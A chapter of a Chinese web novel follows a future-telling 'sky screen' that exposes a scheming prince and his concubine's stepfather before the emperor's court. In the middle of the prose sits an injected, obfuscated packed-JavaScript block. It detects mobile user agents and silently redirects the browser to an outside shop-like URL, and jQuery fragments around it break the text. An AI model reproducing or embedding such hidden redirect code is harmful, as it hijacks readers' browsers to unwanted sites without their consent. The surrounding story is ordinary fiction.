天幕下。
皇宫。
被提到的三位官员浑身冷汗,不管众皇子为了储位如何竞争,大家明面上都是怀宁帝的忠臣,暗地里归附皇子没明说也就罢了,但被天幕当着全天下人的面揭露出来,他们这官也是当到头了。
果然,怀宁帝只是看了他们几人一眼,金吾卫就立马把人带走了。
其余大臣纷纷垂下眼,连齐跪一地的晋王、齐王和楚王都不敢多看一眼。
没看怀宁帝脸黑成什么样了吗。
天幕上。
【祖祖是怎么这么快就抓住操控石碑现世的背后之人呢?
祖祖有个很好的习惯,她做过的事都会写日记记录,一方面是为了复盘,一方面是写日记能让人活着有真实感。
下面这些是我在她日记里看到的,应该会比史料更真实些。
关于东北之行,查操控石碑现世的背后之人的日记里,她第一句是这样说的:“我以为得费些时间才能把人抓住,哪成想,才办了个鸿门宴,人就自投罗网了。
真不知道是我的手段太高明,还是他太自大了。
罢了,必定是我手段高明的缘故。”
哈哈祖祖真的超可爱,自信的祖祖太有魅力了。
好喜欢好喜欢。
是的,本阿婆主从不掩饰对祖祖的喜爱,毕竟这么自信强大的千古帝王谁不爱呢!
好了回归正题。祖祖在得知操控石碑现世背后有皇子的手笔后,已经想好要利用随她到东北的三位皇子系官员了。
这也是她不带他们来邻省的原因,毕竟正主来了,她还怎么找人去假扮呢。】
天幕下。
晋王、齐王和楚王跪在地上,耳朵却竖得高高的在听天幕说话,闻言齐齐暗骂:卑鄙!无耻!有本事光明正大去查,用这些小手段算得了什么本事。
韩王的关注点却跟旁人不同,好奇道:“五哥,为何阿婆主会有你的日记?”
难不成阿婆主是五哥的后人?
“……”萧昕:“大概是挖坟拿到的吧。”
对后世人掘墓考古,萧昕很有心理准备,她前世也没少去逛秦皇的兵马俑。
可对纯粹是古人的韩王来说,冲击就很大了。
“这……这……这是大不敬之罪。”韩王一脸难以接受。
萧昕安慰道:“反正到那时我们都死了,甚至可能已经转世投胎不知几世了,这点小事就不用太计较了。”
“小事?!”韩王惊呼出声。
萧昕扶额,她倒是忘了纯种古人有多在意身后之事了。
怀宁帝看过来,“老十,你大呼小叫做什么?”
韩王垂下头,“儿臣被蚊子咬疼了。”
怀宁帝:……
确实,这天幕还不知何时结束,夜色将近,蚊虫也多了起来。
怀宁帝余光瞥了杜仲一眼,“给众爱卿安排些驱蚊的香包。”
满朝文武:“谢皇上关心。”
这点插曲没有影响到天幕里的阿婆主,她还在继续说。
【这三位皇子系官员恐怕也没想到,祖祖会在从京城出发时就派了暗卫紧盯着他们的一举一动,因此,对他们是如何传消息与皇子联系的方法,一清二楚。
所以,在这场鸿门宴上,祖祖让人假扮三位官员,在宴上露出各自所属身份的信号。
果然,很快鱼儿就上钩了。
一个中年男人在看到楚王系官员表露身份后,立马上前献殷勤。】
天幕下。
楚王吓得一抖,扑倒在地跪拜求情,“父皇明鉴,儿臣绝对没有插手此事啊,一定是有人在栽赃给儿臣,求父皇明鉴啊。”
晋王和齐王看着身边楚王的动作,心想:果然没猜错,真是老四干的。之前还在他们面前演戏呢,啧,都是兄弟,谁不知道谁啊。
【中年男人跟楚王系官员说了他借地动操控石碑现世一事,希望他回京后能跟楚王言明,别忘了他的功劳。
假扮楚王系的官员说道:“此事即是王爷让你办的,他自然不会忘了你的功劳。”
中年男人讨好道:“要是王爷让我办的,我也不会求大人帮这个忙了。”
“哦?这……”
中年男人道:“这是小人自己想的,楚王跟太后关系亲近,若是太后能掌权,下一个坐在那个位置上的人,不就只有楚王。”
“……”】
天幕下,皇宫。
楚王闻言立马说道:“父皇……父皇你听,是有人要陷害我啊。真不是儿臣做的,儿臣忠君爱父,绝不会做如此大逆不道之事,求父皇明鉴。”
晋王和齐王:竟真不是老四干的?
两人对视一眼,心思百转,甚至还偷偷瞄了吴王萧昕一眼。
察觉到晋王和齐光的目光,萧昕回望过去,似乎是在问他俩有什么事?
晋王和齐王:也不是老五?会是谁呢?
【假扮楚王系的官员看了一眼坐在上首的吴王,见吴王示意,又凑近中年男人,低声问:“你如何得知楚王正在争夺储君之位?”
中年男人道:“我妻子跟前任死鬼丈夫生的女儿在楚王府当侍妾。”
假扮楚王系的官员恍然大悟,道:“竟还是楚王的亲眷,失礼失礼。”
中年男人自傲道:“嗯,虽然我只是贵人的继父,但我想助楚王争得储位一臂之力是真心的,大人回京后别忘了帮我美言几句。”
“好说好说。”假扮楚王系的官员说道,“对了,还未问先生贵姓?”
中年男人只是个在东北小有名气的商人,尽管他的继女在楚王府当侍妾,但当地官员对他并无尊敬,头一次见官员对他如此客气,一激动把什么都说了。
“我姓林,贵人随她生父姓胡。”】
天幕下。
楚王俯跪在地没再吭声,他府里确实有个侍妾姓胡,平日备受他的宠爱。
楚王从未想过事情会是这样发展的,恨得快把一口牙给咬碎了:蠢货,自作聪明的蠢货。
晋王和齐王微微伸直身子,看向楚王,脸上满是看戏兴味:让你平日爱好女色,遭报应了吧。
怀宁帝叹息一声,看了眼还跪着的皇子们,“都起来吧。”
“谢父皇。”
晋王和齐王都忍不住高兴,原本非常有实力跟他们争夺储位的楚王,看来是再没争储的机会了。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371328|199920||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>两人默契的忽略天幕早已揭露下一任皇帝是萧昕的事实。
【当祖祖把这个消息传回京城,怀宁帝罚楚王在王爷府禁足一年,罚俸半年。
而沈太后在怀宁帝表明对楚王的态度后,请怀宁帝去她宫中,母子俩谈了一个多时辰的话,具体说了什么不得而知。只知道此后,沈太后不再把持朝政,怀宁帝终于大权独揽,享受了一把真正当皇帝的滋味。
许是权力最能抚慰人心,数年后,沈太后去世,怀宁帝感念母亲的付出,追谥其为元德皇后,祔葬帝陵,祔享太庙,并上尊谥册宝,举办了超高规格的丧礼,让沈太后死后也能享后世皇帝及皇室子孙永世祭拜。
后来,怀宁帝自己说,他在偶尔遇到棘手政事时,会很怀念他母后还在的日子。
人啊,恨及怨终究会随着时间飘散,唯爱与温暖永存。
好了,这期视频就讲到这里。
对了,这期还有下一集了,你们就不好奇祖祖的这次东北之行,到底做了什么是连太.祖皇帝想做但没做到的事吗?
下期见。】
天幕下。
沈太后听天幕说怀宁帝在她死后所做的一切,难免动容,“皇儿慈孝,母后心甚安慰。”
这简短的一句话,却敲开了怀宁帝冰封的心,让他难得说了句软话,“是儿臣不孝,让母后操心了。”
众大臣在宫人提灯照亮下有序离开皇宫,已经被赐府的皇子也一并离开。
韩王跟在萧昕身边,满心崇拜,“五哥你真厉害,弟弟以后肯定听你的话。”
“是吗?那你先把教授布置的课业做完,我听说你已经有半个月左右没做课业了,教授都快去父皇那里告状了。”萧昕说道。
韩王脸皱起来,埋怨道:“教授平日上课说的什么之乎者也,我一点都听不懂,他布置的课业又多又难,我做不来。”
“既如此,就换个人教。”萧昕道,“你自己去跟父皇说,还是……”
“五哥帮我去跟父皇说吧,”萧昕还没说完就被韩王打断,他扯着她的袖子撒娇,“父皇不笑的时候我很害怕,五哥,求你了……”
萧昕道:“行吧……以后再有别的事情,你自己去说,男子汉胆子这么小可不行。”
兄弟两人刚走下大殿的台阶,就被人从后面叫住了。
杜仲朝萧昕行礼道:“吴王殿下,陛下有请。”
萧昕看向韩王,韩王秒懂,瞥见刚从他们身边走过去的燕王,说道:“五哥你去吧,我让六哥送我。”
燕王:……
福宁殿。
怀宁帝换了身常服出来,示意萧昕在他对面坐下。
萧昕看着面前的棋盘,苦着脸,说道:“父皇,您棋艺高超,我跟您对弈十次输九次,您怎么还让我跟您下棋。”
“平日让你多加练习棋艺,你可有听进去,别废话。”怀宁帝示意她先落子。
萧昕执起黑子随意一扔,惹得怀宁帝瞪了她一眼,萧昕笑笑,“父皇找我就为了跟我下棋?”
怀宁帝也落下一子,“朕有意立你为太子。”
“这……不好吧。”
怀宁帝抬起头看她,“你不愿意?”